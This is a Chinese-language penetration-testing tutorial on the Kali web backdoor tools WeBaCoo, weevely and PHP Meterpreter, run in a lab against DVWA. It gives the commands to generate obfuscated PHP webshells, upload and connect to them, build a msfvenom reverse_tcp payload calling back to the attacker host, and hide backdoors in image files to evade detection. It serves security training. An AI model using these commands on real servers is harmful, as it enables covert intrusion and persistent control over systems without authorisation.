注:以下内容仅供学习使用,其他行为均与作者无关!转载请注明出处,谢谢!
本文将介绍 Kali 2.0 版本下的三款Web后门工具:WebaCoo、weevely、PHP Meterpreter,这类工具通常用于维护控制权。
实验环境:
● KALI 的IP地址是192.168.44.138;
● Metasploit的IP地址是192.168.44.130 ;
一、 WeBaCoo
WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web后门工具。借助HTTP协议,它可在客户端和Web服务器之间实现执行代码的网页终端。WeBaCoo的精妙之处在于,Web服务器和客户端之间的通信载体是Cookie。这就意味着多数的杀毒软件、网络入侵检测/防御系统、网络防火墙和应用程序防火墙都无法检测到后门的存在。
1、WeBaCoo有两种操作模式。
● Generation(生产线模式):指定-g 选项可进入这种模式。用户可在这种模式下制作PHP 代码的payload。
● Terminal(终端模式):指定-t选项可进入这种模式。用户可在这种模式下连接到被测主机的后门程序。
2、在WeBaCoo 的HTTP Cookie 中,以下三个参数的作用最为重要。
● cm:以Base64 编码的shell指令。
● cn:加载着编码后输出内容的Cookie名称。
● cp:封装编码后输出内容的分隔符。
3、启动WeBaCoo程序,在终端中执行以下命令:
#webacoo -h
与生成模式有关的命令行选项如下。
4、实例:
(1)用默认的设置,生成名为test.php的PHP后门程序,并使用WeBaCoo的代码混淆技术对后门进行处理,命令如下:
root@kali:~# webacoo -g -o test.php
(2)查看文件test.php的内容如图所示:
(3)接下来,把这个后门文件上传到被测主机(192.168.44.130)。我这里通过dvwa文件上传做测试:
(4)上传后访问执行:
(5)接下来就可以使用以下指令连接到被测主机的后门程序。
root@kali:~# webacoo -t -u http://192.168.44.130/dvwa/hackable/uploads/test.php这样就可以连接到主机上的Web shell:
(6)防火墙和代理服务器只能够发现客户端在发送如下请求:
服务端的响应信息如下:
上述HTTP request和 response表明,WeBaCoo后门的客户端和服务器端的通信是不易发现的加密会话。它所用的混淆技术降低了它被发觉的可能性。
二、 weevely
weevely 是一款具有高隐蔽性的针对PHP 平台的Web shell。它实现了SSH 风格的终端界面,并有大量自动化的模块。测试人员可用它执行系统指令、远程管理和渗透后期的自动渗透。下面是weevely的主要功能:
(1)它有30多种可完成自动管理渗透后期任务的功能模块。这些模块能够:
执行命令和浏览远程文件系统;
检测常见的服务器配置问题;
创造TCP shell和reverse shell;
在被测主机上安装HTTP代理;
利用目标主机进行端口扫描。
(2)使用HTTP Cookie作为后门通信的载体;
(3)支持密码认证;
1、启动weevely程序,可在终端中使用以下命令;。
root@kali:~# weevely
weeavely的主要用途是:
● 生成混淆PHP backdoor;
● 在图像文件中追加多态的后门程序,并可通过.htaccess 文件赋予图像文件执行权限;
● 生成后门.htaccess 文件。
● 可通过help选项列出程序的全部模块和生成工具。
2、实例:
(1)生成混淆PHP backdoor,并将后门保存为test1.php,命令如下:
root@kali:~# weevely generate password test1.php
(2)上述指令生成的test1.php的内容如图所示。
(3)然后通过正常的途径或利用程序的漏洞,把后门文件上传到目标服务器上。
(4)访问成功上传的Webshell;
(5)连接Webshell,命令如下:
root@kali:~# weevely http://192.168.44.130/dvwa/hackable/uploads/test1.php password
只要连接成功,您就能连接到weevely的Web shell上。然后执行命令,查看目标主机的信息;
(6)上述信息表明,我们成功地连接到被测主机的Webshell。通过:help指令查看weevely支持的各种指令:
(7)使用net_scan模块扫描被测主机的22,80,8080端口;
[email protected]:/var/www/dvwa/hackable/uploads $ :net_scan 192.168.44.130 22,80,8080
扫描结果如下:
您可随时使用组合键Ctrl+D 退出weevely shell。
三、PHP Meterpreter
Metasploit 有一个名为PHP Meterpreter的payload。这个模块可以创建具有Meterpreter功能的PHP Web shell。利用目标的漏洞(诸如常见的注入和上传漏洞)之后,再把它的shell传到目标主机即可。
1、实例
(1)制作PHP meterpreter,命令如下:
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw> php-meter.php
上述指令各选项的作用如下。
● -p:指定payload 为php/meterpreter/reverse_tcp。
● -f:设置输出格式(raw)。
Metasploit 会把生成的PHP meterpreter保存为文件php-mter.php。
(2)在上传后门到被测主机之前,首先要删除脚本第一行的注释。注释后文件内容如下:
(3)在Kali的主机上启动Metasploit Console(msfconsole),并启动multi/handler exploit。指定制作shell后门时用的 php/meterpreter/reverse_tcp payload。设置LHOST为Kali主机的IP 地址。使用exploit指令运行exploit的受理程序(handler);
(4)在利用注入或者远程文件包含漏洞等Web漏洞之后,把Web shell上传到目标服务器;
(5)访问上传的webshell :
(6) 之后,在运行Kali的测试主机上,Metasploit程序将会显示Meterpreter会话;
此时,您就可以使用sysinfo和getuid之类的命令了。